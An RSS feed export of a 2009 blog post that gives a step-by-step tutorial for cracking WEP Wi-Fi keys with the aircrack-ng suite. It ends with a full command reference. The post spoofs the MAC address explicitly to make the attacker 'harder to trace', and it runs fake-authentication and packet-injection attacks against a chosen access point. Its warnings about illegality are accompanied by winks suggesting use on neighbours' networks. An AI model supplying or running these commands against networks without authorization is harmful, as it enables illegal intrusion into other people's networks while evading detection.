<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>gabehabe &#187; security</title>
	<atom:link href="http://www.gabehabe.com/blog/tags/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gabehabe.com/blog</link>
	<description>Cool blog, bro.</description>
	<lastBuildDate>Wed, 29 Jun 2011 01:26:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>How to crack WEP</title>
		<link>http://www.gabehabe.com/blog/how-to-crack-wep/</link>
		<comments>http://www.gabehabe.com/blog/how-to-crack-wep/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 17:59:12 +0000</pubDate>
		<dc:creator>Danny</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://www.gabehabe.com/blog/?p=8</guid>
		<description><![CDATA[This article explains how to crack WEP. Of course, it&#8217;s illegal to crack your neighbour&#8217;s network key without their permission, but this is for the&#8230; penetration testers among us. ^_- Prerequisites: A compatible wireless card &#8211; you need a card capable of injecting packets. Patience! This process can be sped up with a good signal, [...]]]></description>
			<content:encoded><![CDATA[<p>This article explains how to crack WEP. Of course, it&#8217;s illegal to crack your neighbour&#8217;s network key without their permission, but this is for the&#8230; penetration testers among us. ^_-</p>
<p>Prerequisites:</p>
<ul>
<li><span style="background-color: #ffffff;">A compatible wireless card &#8211; you need a card capable of injecting packets. </span></li>
<li><span style="background-color: #ffffff;">Patience! This process can be sped up with a good signal, but speeding it all up can sometimes fail. If it&#8217;s slow, it can take a few days, but we can do it in ~15 minutes with the right kit.</span></li>
<li><span style="background-color: #ffffff;">This tutorial covers cracking WEP from a Linux distro. I recommend using <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>, since it has all the tools that you&#8217;ll need. If you&#8217;re going to be using a different distro, you&#8217;re going to need to download the <a href="http://www.aircrack-ng.org" target="_blank">aircrack-ng</a> suite, and I also recommend downloading <code>macchanger</code></span></li>
</ul>
<p>If you&#8217;re downloading aircrack-ng yourself, open up a terminal and type:</p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>sudo apt-get install aircrack-ng macchanger</code></div>
<p>Once you have these tools, we&#8217;re ready to rock! <span style="background-color: #ffffff;">Let&#8217;s get started.</span></p>
<p><span style="background-color: #ffffff;">First off, start by typing <code>su</code> into the terminal. While not necessary, since you can use <code>sudo</code> on each command, it&#8217;ll save you typing a little in each command. :-)</span></p>
<p><span style="background-color: #ffffff;"><strong>Step 1: </strong><em>Finding your wireless interface<br />
<span style="font-style: normal;">The first thing we need to do is find the name of your wireless interface. For me, it&#8217;s <code>wlan0</code>, but it can vary. For</span> </em>example, yours might be <code>ath0</code>. We can find the name by simply typing <code>iwconfig</code> into the terminal. From here on in, wherever you see <code>(interface)</code>, replace it with your interface name. </span></p>
<p><span style="background-color: #ffffff;"><strong>Step 2:</strong> <em>Putting your wireless interface into monitor mode<br />
<span style="font-style: normal;">To put your wireless card into monitor mode, you first need to stop it. While we&#8217;re at it, let&#8217;s spoof our MAC address. (This makes commands easier to type since you don&#8217;t need to remember your MAC address, and also harder to trace) Lastly, we&#8217;ll start <code>airmon-ng</code> on it. We do this using the following commands:<br />
</span> </em></span></p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>airmon-ng stop (interface)<br />
ifconfig (interface) down<br />
iwconfig (interface) mode monitor<br />
macchanger -m 00:11:22:33:44:55 (interface)<br />
airmon-ng start (interface) </code></div>
<p>Would you believe that that&#8217;s half the commands done already? :-) The process itself is rather simple thanks to aircrack.</p>
<p><strong>Step 3: </strong><em>Finding the access point you wish to crack </em><br />
<span style="font-style: normal;">So now that we&#8217;re in monitor mode, we need to find the network we want to crack. To do this, type <code>airodump-ng (interface)</code> into your terminal. You should see a list with lots of numbers and stuff appearing. Note down the BSSID, and the Channel. We&#8217;ll be needing these to help aircrack identify the network. You should be able to identify the AP you want to crack by the ESSID, and hopefully a good PWR rate of around -30. From here on in, replace (bssid) with the BSSID of the network, and (channel) with the channel of the network in each command. Once you&#8217;re ready, hit Ctrl+C to close airodump. We&#8217;re now going to run airodump again, specifically to monitor this AP to capture the information we need.</span></p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>airodump-ng --bssid (bssid) -c (channel) --ivs -w dumpfile</code></div>
<p><strong>Step 4: </strong><em>Speeding it all up</em><br />
<span style="font-style: normal;">The information that we&#8217;re capturing is under the <code>#Data</code> column. Notice how slowly it comes in? The average for me, though it varies, is around 2 per minute. Since we need at least 10,000 to crack a WEP key successfully, it could take some time. To speed things up a bit, we&#8217;re going to <em>fake auth</em> on the network, and then attack directly. We can do this in two steps. First off, open up a new terminal. We need to leave <code>airodump-ng</code> running in this terminal until we have enough <code>#Data</code> to crack the key. In your new terminal session, run the following command:</span></p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 (interface)</code></div>
<p><span style="font-style: normal;">This is to fake auth with the network. There are many methods of speeding this up, but this is my favourite, since it doesn&#8217;t require any other users to be on the network when you&#8217;re cracking it. If successful, you should see that reassuring smiley face :-)</span></p>
<p>Provided that you succeeded in fake authing with the network, we can proceed with the attack.</p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)</code></div>
<p>After a few moments, you should see the <code>#Data</code> column start to increase fairly quickly.</p>
<p><strong>Step 5: </strong><em>Cracking the key</em><br />
Lastly, once you have around 10,000 #Data in airodump, open up a <em>third</em> terminal, and type the following:</p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code>aircrack-ng --bssid (bssid) dumpfile-01.cap</code></div>
<p>You&#8217;ll see it trying thousands of keys on the network, until it finds one. If it fails, simply leave it running and it will try again once airodump picks up another 5,000 #Data.</p>
<p>When you finally see aircrack-ng say Success! Key: 00:00:00:00:00:00:00:00, make a note of the key and close all the windows. You can enter this key into the connect screen directly, without the colons, and you&#8217;ll be on the network.</p>
<p>Apologies if I haven&#8217;t been too clear &#8211; it&#8217;s been a while since I blogged. :-) If you have any problems, please leave a comment and I&#8217;ll do my best to help you.</p>
<p>Also, remember this is illegal if you don&#8217;t have permission. Though I can&#8217;t stop you. ^_-</p>
<p>In summary, here&#8217;s a reference of all the commands that you&#8217;ll need:</p>
<div style="margin:0px 10px 0px 10px;padding:3px;background-color:#EEEEEE"><code># apt-get install macchanger aircrack-ng</code></p>
<p># find interface in iwconfig</p>
<p># stop the interface<br />
airmon-ng stop (interface)<br />
ifconfig (interface) down</p>
<p># put the interface into monitor mode<br />
iwconfig (interface) mode monitor</p>
<p># spoof the mac<br />
macchanger -m 00:11:22:33:44:55 (interface)</p>
<p># start monitoring<br />
airmon-ng start (interface)</p>
<p># find the bssid and channel with airodump-ng (interface)</p>
<p># start monitoring the AP and dump #data to file (dumpfile)<br />
airodump-ng (interface) &#8211;bssid (bssid) -c (channel) -w (dumpfile)</p>
<p># associate with the AP &#8211; make it spew out lots of #data :-)<br />
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 (interface)<br />
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)</p>
<p><code># crack the IVs<br />
aircrack-ng -b (bssid) (dumpfile-01.cap)</code></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gabehabe.com/blog/how-to-crack-wep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

